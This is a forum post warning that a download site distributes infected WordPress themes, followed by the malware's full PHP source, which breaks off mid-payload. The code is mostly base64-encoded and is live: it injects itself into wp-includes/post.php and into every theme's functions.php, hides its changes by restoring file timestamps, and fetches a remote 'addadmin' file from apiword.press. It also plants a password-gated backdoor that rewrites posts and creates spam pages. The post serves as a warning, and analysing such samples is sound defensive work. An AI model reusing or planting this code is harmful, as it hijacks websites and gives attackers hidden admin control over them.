dlwordpress.com - WANTED!!! Dangerous VIRUSES

[mposterz]

Recently, there was free access to a huge amount of material with a dangerous virus. I found the source, the root of evil:
dlwordpress.com
It applies the following type of virus, its code:

Code:

<?php

//install_code

DEFINE('MAX_LEVEL', 2);
DEFINE('MAX_ITERATION', 50);
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);

$GLOBALS['WP_CD_CODE'] = 'PD9waHANCg0KLy9pbnN0YWxsX2NvZGUNCg0KCSRpbnN0YWxsX2NvZGUgPSAnUEQ5d2FIQUtDbWxtSUN​ocGMzTmxkQ2drWDFKRlVWVkZVMVJiSjJGamRHbHZiaWRkS1NBbUppQnBjM05sZENna1gxSkZVVlZGVTF​SYkozQmhjM04zYjNKa0oxMHBJQ1ltSUNna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMGdQVDBnSjN​za1VFRlRVMWRQVWtSOUp5a3BDZ2w3Q2drSmMzZHBkR05vSUNna1gxSkZVVlZGVTFSYkoyRmpkR2x2Yml​kZEtRb0pDUWw3Q2drSkNRbGpZWE5sSUNkblpYUmZZV3hzWDJ4cGJtdHpKenNLQ1FrSkNRbG1iM0psWVd​Ob0lDZ2tkM0JrWWkwK1oyVjBYM0psYzNWc2RITW9KMU5GVEVWRFZDQXFJRVpTVDAwZ1lDY2dMaUFrZDN​Ca1lpMCtjSEpsWm1sNElDNGdKM0J2YzNSellDQlhTRVZTUlNCZ2NHOXpkRjl6ZEdGMGRYTmdJRDBnSW5​CMVlteHBjMmdpSUVGT1JDQmdjRzl6ZEY5MGVYQmxZQ0E5SUNKd2IzTjBJaUJQVWtSRlVpQkNXU0JnU1V​SZ0lFUkZVME1uTENCQlVsSkJXVjlCS1NCaGN5QWtaR0YwWVNrS0NRa0pDUWtKZXdvSkNRa0pDUWtKSkd​SaGRHRmJKMk52WkdVblhTQTlJQ2NuT3dvSkNRa0pDUWtKQ2drSkNRa0pDUWxwWmlBb2NISmxaMTl0WVh​SamFDZ25JVHhrYVhZZ2FXUTlJbmR3WDJOa1gyTnZaR1VpUGlndUtqOHBQQzlrYVhZK0lYTW5MQ0FrWkd​GMFlWc25jRzl6ZEY5amIyNTBaVzUwSjEwc0lDUmZLU2tLQ1FrSkNRa0pDUWw3Q2drSkNRa0pDUWtKQ1N​Sa1lYUmhXeWRqYjJSbEoxMGdQU0FrWDFzeFhUc0tDUWtKQ1FrSkNRbDlDZ2tKQ1FrSkNRa0tDUWtKQ1F​rSkNYQnlhVzUwSUNjOFpUNDhkejR4UEM5M1BqeDFjbXcrSnlBdUlDUmtZWFJoV3lkbmRXbGtKMTBnTGl​BblBDOTFjbXcrUEdOdlpHVStKeUF1SUNSa1lYUmhXeWRqYjJSbEoxMGdMaUFuUEM5amIyUmxQanhwWkQ​0bklDNGdKR1JoZEdGYkowbEVKMTBnTGlBblBDOXBaRDQ4TDJVK0p5QXVJQ0pjY2x4dUlqc0tDUWtKQ1F​rSmZRb0pDUWtKWW5KbFlXczdDZ2tKQ1FrS0NRa0pDV05oYzJVZ0ozTmxkRjlwWkY5c2FXNXJjeWM3Q2d​rSkNRa0phV1lnS0dsemMyVjBLQ1JmVWtWUlZVVlRWRnNuWkdGMFlTZGRLU2tLQ1FrSkNRa0pld29KQ1F​rSkNRa0pKR1JoZEdFZ1BTQWtkM0JrWWlBdFBpQm5aWFJmY205M0tDZFRSVXhGUTFRZ1lIQnZjM1JmWTI​5dWRHVnVkR0FnUmxKUFRTQmdKeUF1SUNSM2NHUmlMVDV3Y21WbWFYZ2dMaUFuY0c5emRITmdJRmRJUlZ​KRklHQkpSR0FnUFNBaUp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuYVd​RblhTa3VKeUluS1RzS0NRa0pDUWtKQ1FvSkNRa0pDUWtKSkhCdmMzUmZZMjl1ZEdWdWRDQTlJSEJ5Wld​kZmNtVndiR0ZqWlNnbklUeGthWFlnYVdROUluZHdYMk5rWDJOdlpHVWlQaWd1S2o4cFBDOWthWFkrSVh​NbkxDQW5KeXdnSkdSaGRHRWdMVDRnY0c5emRGOWpiMjUwWlc1MEtUc0tDUWtKQ1FrSkNXbG1JQ2doWlc​xd2RIa29KRjlTUlZGVlJWTlVXeWRrWVhSaEoxMHBLU0FrY0c5emRGOWpiMjUwWlc1MElEMGdKSEJ2YzN​SZlkyOXVkR1Z1ZENBdUlDYzhaR2wySUdsa1BTSjNjRjlqWkY5amIyUmxJajRuSUM0Z2MzUnlhWEJqYzJ​4aGMyaGxjeWdrWDFKRlVWVkZVMVJiSjJSaGRHRW5YU2tnTGlBblBDOWthWFkrSnpzS0Nna0pDUWtKQ1F​scFppQW9KSGR3WkdJdFBuRjFaWEo1S0NkVlVFUkJWRVVnWUNjZ0xpQWtkM0JrWWkwK2NISmxabWw0SUM​0Z0ozQnZjM1J6WUNCVFJWUWdZSEJ2YzNSZlkyOXVkR1Z1ZEdBZ1BTQWlKeUF1SUcxNWMzRnNYMlZ6WTJ​Gd1pWOXpkSEpwYm1jb0pIQnZjM1JmWTI5dWRHVnVkQ2tnTGlBbklpQlhTRVZTUlNCZ1NVUmdJRDBnSWl​jZ0xpQnRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuYVdRblhTa2dMaUFuSWl​jcElDRTlQU0JtWVd4elpTa0tDUWtKQ1FrSkNRbDdDZ2tKQ1FrSkNRa0pDWEJ5YVc1MElDSjBjblZsSWp​zS0NRa0pDUWtKQ1FsOUNna0pDUWtKQ1gwS0NRa0pDV0p5WldGck93b0pDUWtKQ2drSkNRbGpZWE5sSUN​kamNtVmhkR1ZmY0dGblpTYzdDZ2tKQ1FrSmFXWWdLR2x6YzJWMEtDUmZVa1ZSVlVWVFZGc25jbVZ0YjN​abFgzQmhaMlVuWFNrcENna0pDUWtKQ1hzS0NRa0pDUWtKQ1dsbUlDZ2tkM0JrWWlBdFBpQnhkV1Z5ZVN​nblJFVk1SVlJGSUVaU1QwMGdZQ2NnTGlBa2QzQmtZaTArY0hKbFptbDRJQzRnSjJSaGRHRnNhWE4wWUN​CWFNFVlNSU0JnZFhKc1lDQTlJQ0l2Snk1dGVYTnhiRjlsYzJOaGNHVmZjM1J5YVc1bktDUmZVa1ZSVlV​WVFZGc25kWEpzSjEwcExpY2lKeWtwQ2drSkNRa0pDUWtKZXdvSkNRa0pDUWtKQ1Fsd2NtbHVkQ0FpZEh​KMVpTSTdDZ2tKQ1FrSkNRa0pmUW9KQ1FrSkNRbDlDZ2tKQ1FrSlpXeHpaV2xtSUNocGMzTmxkQ2drWDF​KRlVWVkZVMVJiSjJOdmJuUmxiblFuWFNrZ0ppWWdJV1Z0Y0hSNUtDUmZVa1ZSVlVWVFZGc25ZMjl1ZEd​WdWRDZGRLU2tLQ1FrSkNRa0pld29KQ1FrSkNRa0phV1lnS0NSM2NHUmlJQzArSUhGMVpYSjVLQ2RKVGx​ORlVsUWdTVTVVVHlCZ0p5QXVJQ1IzY0dSaUxUNXdjbVZtYVhnZ0xpQW5aR0YwWVd4cGMzUmdJRk5GVkN​CZ2RYSnNZQ0E5SUNJdkp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuZFh​Kc0oxMHBMaWNpTENCZ2RHbDBiR1ZnSUQwZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDF​KRlVWVkZVMVJiSjNScGRHeGxKMTBwTGljaUxDQmdhMlY1ZDI5eVpITmdJRDBnSWljdWJYbHpjV3hmWlh​OallYQmxYM04wY21sdVp5Z2tYMUpGVVZWRlUxUmJKMnRsZVhkdmNtUnpKMTBwTGljaUxDQmdaR1Z6WTN​KcGNIUnBiMjVnSUQwZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDFKRlVWVkZVMVJiSjJ​SbGMyTnlhWEIwYVc5dUoxMHBMaWNpTENCZ1kyOXVkR1Z1ZEdBZ1BTQWlKeTV0ZVhOeGJGOWxjMk5oY0d​WZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzblkyOXVkR1Z1ZENkZEtTNG5JaXdnWUdaMWJHeGZZMjl1ZEd​WdWRHQWdQU0FpSnk1dGVYTnhiRjlsYzJOaGNHVmZjM1J5YVc1bktDUmZVa1ZSVlVWVFZGc25ablZzYkY​5amIyNTBaVzUwSjEwcExpY2lJRTlPSUVSVlVFeEpRMEZVUlNCTFJWa2dWVkJFUVZSRklHQjBhWFJzWld​BZ1BTQWlKeTV0ZVhOeGJGOWxjMk5oY0dWZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzbmRHbDBiR1VuWFN​rdUp5SXNJR0JyWlhsM2IzSmtjMkFnUFNBaUp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWt​WUlZVVlRWRnNuYTJWNWQyOXlaSE1uWFNrdUp5SXNJR0JrWlhOamNtbHdkR2x2Ym1BZ1BTQWlKeTV0ZVh​OeGJGOWxjMk5oY0dWZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzblpHVnpZM0pwY0hScGIyNG5YU2t1Snl​Jc0lHQmpiMjUwWlc1MFlDQTlJQ0luTG0xNWMzRnNYMlZ6WTJGd1pWOXpkSEpwYm1jb2RYSnNaR1ZqYjJ​SbEtDUmZVa1ZSVlVWVFZGc25ZMjl1ZEdWdWRDZGRLU2t1SnlJc0lHQm1kV3hzWDJOdmJuUmxiblJnSUQ​wZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDFKRlVWVkZVMVJiSjJaMWJHeGZZMjl1ZEd​WdWRDZGRLUzRuSWljcEtRb0pDUWtKQ1FrSkNYc0tDUWtKQ1FrSkNRa0pjSEpwYm5RZ0luUnlkV1VpT3d​vSkNRa0pDUWtKQ1gwS0NRa0pDUWtKZlFvSkNRa0pZbkpsWVdzN0Nna0pDUWtLQ1FrSkNXUmxabUYxYkh​RNklIQnlhVzUwSUNKRlVsSlBVbDlYVUY5QlExUkpUMDRnVjFCZlZWSk1YME5FSWpzS0NRa0pmUW9KQ1F​rS0NRbGthV1VvSWlJcE93b0pmUW9LQ1FwcFppQW9JQ1IzY0dSaUxUNW5aWFJmZG1GeUtDZFRSVXhGUTF​RZ1kyOTFiblFvS2lrZ1JsSlBUU0JnSnlBdUlDUjNjR1JpTFQ1d2NtVm1hWGdnTGlBblpHRjBZV3hwYzN​SZ0lGZElSVkpGSUdCMWNteGdJRDBnSWljdWJYbHpjV3hmWlhOallYQmxYM04wY21sdVp5Z2dKRjlUUlZ​KV1JWSmJKMUpGVVZWRlUxUmZWVkpKSjEwZ0tTNG5JaWNwSUQwOUlDY3hKeUFwQ2dsN0Nna0pKR1JoZEd​FZ1BTQWtkM0JrWWlBdFBpQm5aWFJmY205M0tDZFRSVXhGUTFRZ0tpQkdVazlOSUdBbklDNGdKSGR3Wkd​JdFBuQnlaV1pwZUNBdUlDZGtZWFJoYkdsemRHQWdWMGhGVWtVZ1lIVnliR0FnUFNBaUp5NXRlWE54YkY​5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVTBWU1ZrVlNXeWRTUlZGVlJWTlVYMVZTU1NkZEtTNG5JaWNwT3d​vSkNXbG1JQ2drWkdGMFlTQXRQaUJtZFd4c1gyTnZiblJsYm5RcENna0pDWHNLQ1FrSkNYQnlhVzUwSUh​OMGNtbHdjMnhoYzJobGN5Z2taR0YwWVNBdFBpQmpiMjUwWlc1MEtUc0tDUWtKZlFvSkNXVnNjMlVLQ1F​rSmV3b0pDUWtKY0hKcGJuUWdKendoUkU5RFZGbFFSU0JvZEcxc1BpYzdDZ2tKQ1Fsd2NtbHVkQ0FuUEd​oMGJXd2dKenNLQ1FrSkNXeGhibWQxWVdkbFgyRjBkSEpwWW5WMFpYTW9LVHNLQ1FrSkNYQnlhVzUwSUN​jZ1kyeGhjM005SW01dkxXcHpJajRuT3dvSkNRa0pjSEpwYm5RZ0p6eG9aV0ZrUGljN0Nna0pDUWx3Y21​sdWRDQW5QSFJwZEd4bFBpY3VjM1J5YVhCemJHRnphR1Z6S0NSa1lYUmhJQzArSUhScGRHeGxLUzRuUEM​5MGFYUnNaVDRuT3dvSkNRa0pjSEpwYm5RZ0p6eHRaWFJoSUc1aGJXVTlJa3RsZVhkdmNtUnpJaUJqYjI​1MFpXNTBQU0luTG5OMGNtbHdjMnhoYzJobGN5Z2taR0YwWVNBdFBpQnJaWGwzYjNKa2N5a3VKeUlnTHo​0bk93b0pDUWtKY0hKcGJuUWdKenh0WlhSaElHNWhiV1U5SWtSbGMyTnlhWEIwYVc5dUlpQmpiMjUwWlc​1MFBTSW5Mbk4wY21sd2MyeGhjMmhsY3lna1pHRjBZU0F0UGlCa1pYTmpjbWx3ZEdsdmJpa3VKeUlnTHo​0bk93b0pDUWtKY0hKcGJuUWdKenh0WlhSaElHNWhiV1U5SW5KdlltOTBjeUlnWTI5dWRHVnVkRDBpYVc​1a1pYZ3NJR1p2Ykd4dmR5SWdMejRuT3dvSkNRa0pjSEpwYm5RZ0p6eHRaWFJoSUdOb1lYSnpaWFE5SWl​jN0Nna0pDUWxpYkc5bmFXNW1ieWdnSjJOb1lYSnpaWFFuSUNrN0Nna0pDUWx3Y21sdWRDQW5JaUF2UGl​jN0Nna0pDUWx3Y21sdWRDQW5QRzFsZEdFZ2JtRnRaVDBpZG1sbGQzQnZjblFpSUdOdmJuUmxiblE5SW5​kcFpIUm9QV1JsZG1salpTMTNhV1IwYUNJK0p6c0tDUWtKQ1hCeWFXNTBJQ2M4YkdsdWF5QnlaV3c5SW5​CeWIyWnBiR1VpSUdoeVpXWTlJbWgwZEhBNkx5OW5iWEJuTG05eVp5OTRabTR2TVRFaVBpYzdDZ2tKQ1F​sd2NtbHVkQ0FuUEd4cGJtc2djbVZzUFNKd2FXNW5ZbUZqYXlJZ2FISmxaajBpSnpzS0NRa0pDV0pzYjJ​kcGJtWnZLQ0FuY0dsdVoySmhZMnRmZFhKc0p5QXBPd29KQ1FrSmNISnBiblFnSnlJK0p6c0tDUWtKQ1h​kd1gyaGxZV1FvS1RzS0NRa0pDWEJ5YVc1MElDYzhMMmhsWVdRK0p6c0tDUWtKQ1hCeWFXNTBJQ2M4WW0​5a2VUNG5Pd29KQ1FrSmNISnBiblFnSnp4a2FYWWdhV1E5SW1OdmJuUmxiblFpSUdOc1lYTnpQU0p6YVh​SbExXTnZiblJsYm5RaVBpYzdDZ2tKQ1Fsd2NtbHVkQ0J6ZEhKcGNITnNZWE5vWlhNb0pHUmhkR0VnTFQ​0Z1kyOXVkR1Z1ZENrN0Nna0pDUWxuWlhSZmMyVmhjbU5vWDJadmNtMG9LVHNLQ1FrSkNXZGxkRjl6YVd​SbFltRnlLQ2s3Q2drSkNRbG5aWFJmWm05dmRHVnlLQ2s3Q2drSkNYMEtDUWtKQ2drSlpYaHBkRHNLQ1g​wS0Nnby9QZz09JzsNCgkNCgkkaW5zdGFsbF9oYXNoID0gbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSA​uIEFVVEhfU0FMVCk7DQoJJGluc3RhbGxfY29kZSA9IHN0cl9yZXBsYWNlKCd7JFBBU1NXT1JEfScgLCA​kaW5zdGFsbF9oYXNoLCBiYXNlNjRfZGVjb2RlKCAkaW5zdGFsbF9jb2RlICkpOw0KCQ0KCWlmICgkd3B​kYiAtPiBxdWVyeSgnQ1JFQVRFIFRBQkxFIElGIE5PVCBFWElTVFMgYCcgLiAkd3BkYi0+cHJlZml4IC4​gJ2RhdGFsaXN0YCAoIGB1cmxgIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwgYHRpdGxlYCB2YXJjaGFyKDI​1NSkgTk9UIE5VTEwsIGBrZXl3b3Jkc2AgdmFyY2hhcigyNTUpIE5PVCBOVUxMLCBgZGVzY3JpcHRpb25​gIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwgYGNvbnRlbnRgIGxvbmd0ZXh0IE5PVCBOVUxMLCBgZnVsbF9​jb250ZW50YCBzbWFsbGludCg2KSBOT1QgTlVMTCwgUFJJTUFSWSBLRVkgKGB1cmxgKSApIEVOR0lORT1​NeUlTQU0gREVGQVVMVCBDSEFSU0VUPXV0Zjg7JykpDQoJCXsNCgkJCSR0aGVtZXMgPSAkX1NFUlZFUls​nRE9DVU1FTlRfUk9PVCddIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb250ZW50JyAuIERJUkV​DVE9SWV9TRVBBUkFUT1IgLiAndGhlbWVzJzsNCgkJCQkNCgkJCSRwaW5nID0gdHJ1ZTsNCgkJCQkNCgk​JCWlmICgkbGlzdCA9IHNjYW5kaXIoICR0aGVtZXMgKSkNCgkJCQl7DQoJCQkJCWZvcmVhY2ggKCRsaXN​0IGFzICRfKQ0KCQkJCQkJew0KCQkJCQkJCWlmIChmaWxlX2V4aXN0cygkdGhlbWVzIC4gRElSRUNUT1J​ZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJykpDQo​JCQkJCQkJCXsNCgkJCQkJCQkJCSR0aW1lID0gZmlsZWN0aW1lKCR0aGVtZXMgLiBESVJFQ1RPUllfU0V​QQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKTsNCgkJCQk​JCQkJCQkNCgkJCQkJCQkJCWlmICgkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGVtZXMgLiB​ESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5​waHAnKSkNCgkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCWlmIChzdHJwb3MoJGNvbnRlbnQsICdXUF9VUkx​fQ0QnKSA9PT0gZmFsc2UpDQoJCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCQkJJGNvbnRlbnQgPSAkaW5​zdGFsbF9jb2RlIC4gJGNvbnRlbnQgOw0KCQkJCQkJCQkJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGh​lbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5​jdGlvbnMucGhwJywgJGNvbnRlbnQpOw0KCQkJCQkJCQkJCQkJCXRvdWNoKCAkdGhlbWVzIC4gRElSRUN​UT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyA​sICR0aW1lICk7DQoJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCQkJCXsNCgk​JCQkJCQkJCQkJCQkkcGluZyA9IGZhbHNlOw0KCQkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCX0NCgkJCQk​JCQkJCQkNCgkJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCWlmICgkcGluZykgew0KCQkJCQk​JJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9hcGl3b3JkLnByZXNzL28ucGhwP2h​vc3Q9JyAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICcmcGFzc3dvcmQ9JyAuICRpbnN0YWxsX2hhc2g​pOw0KCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnL3d​wLWluY2x1ZGVzL2NsYXNzLndwLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vYXBpd29yZC5​wcmVzcy9hZGRhZG1pbl8xLnR4dCcpKTsNCgkJCQkJfQ0KCQkJCX0NCgkJfQ0KDQoJaWYgKCRmaWxlID0​gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKSkNCgkJew0KCQkJJGZpbGUgPSBwcmVnX3JlcGxhY2U​oJyEvL2luc3RhbGxfY29kZS4qLy9pbnN0YWxsX2NvZGVfZW5kIXMnLCAnJywgJGZpbGUpOw0KCQkJJGZ​pbGUgPSBwcmVnX3JlcGxhY2UoJyE8XD9waHBccypcPz4hcycsICcnLCAkZmlsZSk7DQoJCQlAZmlsZV9​wdXRfY29udGVudHMoX19GSUxFX18sICRmaWxlKTsNCgkJfQ0KDQovL2luc3RhbGxfY29kZV9lbmQNCg0​KPz48P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7Pz4=';

$GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media',    'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');

$GLOBALS['DIR_ARRAY'] = Array();
$dirs = Array();

$search = Array(
    Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
);

function getDirList($path)
    {
        if ($dir = @opendir($path))
            {
                $result = Array();
                
                while (($filename = @readdir($dir)) !== false)
                    {
                        if ($filename != '.' and& $filename != '..' and& is_dir($path . '/' . $filename))
                            $result[] = $path . '/' . $filename;
                    }
                
                return $result;
            }
            
        return false;
    }

function WP_URL_CD($path)
    {
        if ( ($file = file_get_contents($path . '/wp-includes/post.php')) and& (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
            {
                if (strpos($file, 'wp-cd') === false) {
                    $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
                    file_put_contents($path . '/wp-includes/post.php', $file);
                }
            }
    }
    
function SearchFile($search, $path)
    {
        if ($dir = @opendir($path))
            {
                $i = 0;
                while (($filename = @readdir($dir)) !== false)
                    {
                        if ($i > MAX_ITERATION) break;
                        $i++;
                        if ($filename != '.' and& $filename != '..')
                            {
                                if (is_dir($path . '/' . $filename) and& !in_array($filename, $GLOBALS['stopkey']))
                                    {
                                        SearchFile($search, $path . '/' . $filename);
                                    }
                                else
                                    {
                                        foreach ($search as $_)
                                            {
                                                if (strtolower($filename) == strtolower($_['file']))
                                                    {
                                                        $GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
                                                    }
                                            }
                                    }
                            }
                    }
            }
    }

if (is_admin() and& (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin']))) ) {

    if (isset($_GET['plugin']))
        {
            global $wpdb ;
        }
        
    $install_code = 'PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3B​hc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7Cgk​Jc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzs​KCQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0​+cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF9​0eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQk​JewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJlZ19tYXRjaCg​nITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAkZGF0YVsncG9zdF9jb250ZW50J10​sICRfKSkKCQkJCQkJCQl7CgkJCQkJCQkJCSRkYXRhWydjb2RlJ10gPSAkX1sxXTsKCQkJCQkJCQl9Cgk​JCQkJCQkKCQkJCQkJCXByaW50ICc8ZT48dz4xPC93Pjx1cmw+JyAuICRkYXRhWydndWlkJ10gLiAnPC9​1cmw+PGNvZGU+JyAuICRkYXRhWydjb2RlJ10gLiAnPC9jb2RlPjxpZD4nIC4gJGRhdGFbJ0lEJ10gLiA​nPC9pZD48L2U+JyAuICJcclxuIjsKCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgJ3NldF9​pZF9saW5rcyc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnZGF0YSddKSkKCQkJCQkJewoJCQkJCQk​JJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgYHBvc3RfY29udGVudGAgRlJPTSBgJyAuICR​3cGRiLT5wcmVmaXggLiAncG9zdHNgIFdIRVJFIGBJRGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCR​fUkVRVUVTVFsnaWQnXSkuJyInKTsKCQkJCQkJCQoJCQkJCQkJJHBvc3RfY29udGVudCA9IHByZWdfcmV​wbGFjZSgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAnJywgJGRhdGEgLT4gcG9​zdF9jb250ZW50KTsKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWydkYXRhJ10pKSAkcG9zdF9jb25​0ZW50ID0gJHBvc3RfY29udGVudCAuICc8ZGl2IGlkPSJ3cF9jZF9jb2RlIj4nIC4gc3RyaXBjc2xhc2h​lcygkX1JFUVVFU1RbJ2RhdGEnXSkgLiAnPC9kaXY+JzsKCgkJCQkJCQlpZiAoJHdwZGItPnF1ZXJ5KCd​VUERBVEUgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBTRVQgYHBvc3RfY29udGVudGAgPSAiJyA​uIG15c3FsX2VzY2FwZV9zdHJpbmcoJHBvc3RfY29udGVudCkgLiAnIiBXSEVSRSBgSURgID0gIicgLiB​teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkgLiAnIicpICE9PSBmYWxzZSkKCQkJCQk​JCQl7CgkJCQkJCQkJCXByaW50ICJ0cnVlIjsKCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoJCQk​JCgkJCQljYXNlICdjcmVhdGVfcGFnZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsncmVtb3ZlX3B​hZ2UnXSkpCgkJCQkJCXsKCQkJCQkJCWlmICgkd3BkYiAtPiBxdWVyeSgnREVMRVRFIEZST00gYCcgLiA​kd3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCBXSEVSRSBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3R​yaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciJykpCgkJCQkJCQkJewoJCQkJCQkJCQlwcmludCAidHJ1ZSI​7CgkJCQkJCQkJfQoJCQkJCQl9CgkJCQkJZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ2NvbnRlbnQnXSk​gJiYgIWVtcHR5KCRfUkVRVUVTVFsnY29udGVudCddKSkKCQkJCQkJewoJCQkJCQkJaWYgKCR3cGRiIC0​+IHF1ZXJ5KCdJTlNFUlQgSU5UTyBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFNFVCBgdXJ​sYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciLCBgdGl0bGVgID0​gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ3RpdGxlJ10pLiciLCBga2V5d29yZHNgID0​gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2tleXdvcmRzJ10pLiciLCBgZGVzY3JpcHR​pb25gID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Rlc2NyaXB0aW9uJ10pLiciLCB​gY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnY29udGVudCddKS4nIiw​gYGZ1bGxfY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZnVsbF9jb25​0ZW50J10pLiciIE9OIERVUExJQ0FURSBLRVkgVVBEQVRFIGB0aXRsZWAgPSAiJy5teXNxbF9lc2NhcGV​fc3RyaW5nKCRfUkVRVUVTVFsndGl0bGUnXSkuJyIsIGBrZXl3b3Jkc2AgPSAiJy5teXNxbF9lc2NhcGV​fc3RyaW5nKCRfUkVRVUVTVFsna2V5d29yZHMnXSkuJyIsIGBkZXNjcmlwdGlvbmAgPSAiJy5teXNxbF9​lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZGVzY3JpcHRpb24nXSkuJyIsIGBjb250ZW50YCA9ICInLm1​5c3FsX2VzY2FwZV9zdHJpbmcodXJsZGVjb2RlKCRfUkVRVUVTVFsnY29udGVudCddKSkuJyIsIGBmdWx​sX2NvbnRlbnRgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Z1bGxfY29udGVudCd​dKS4nIicpKQoJCQkJCQkJCXsKCQkJCQkJCQkJcHJpbnQgInRydWUiOwoJCQkJCQkJCX0KCQkJCQkJfQo​JCQkJYnJlYWs7CgkJCQkKCQkJCWRl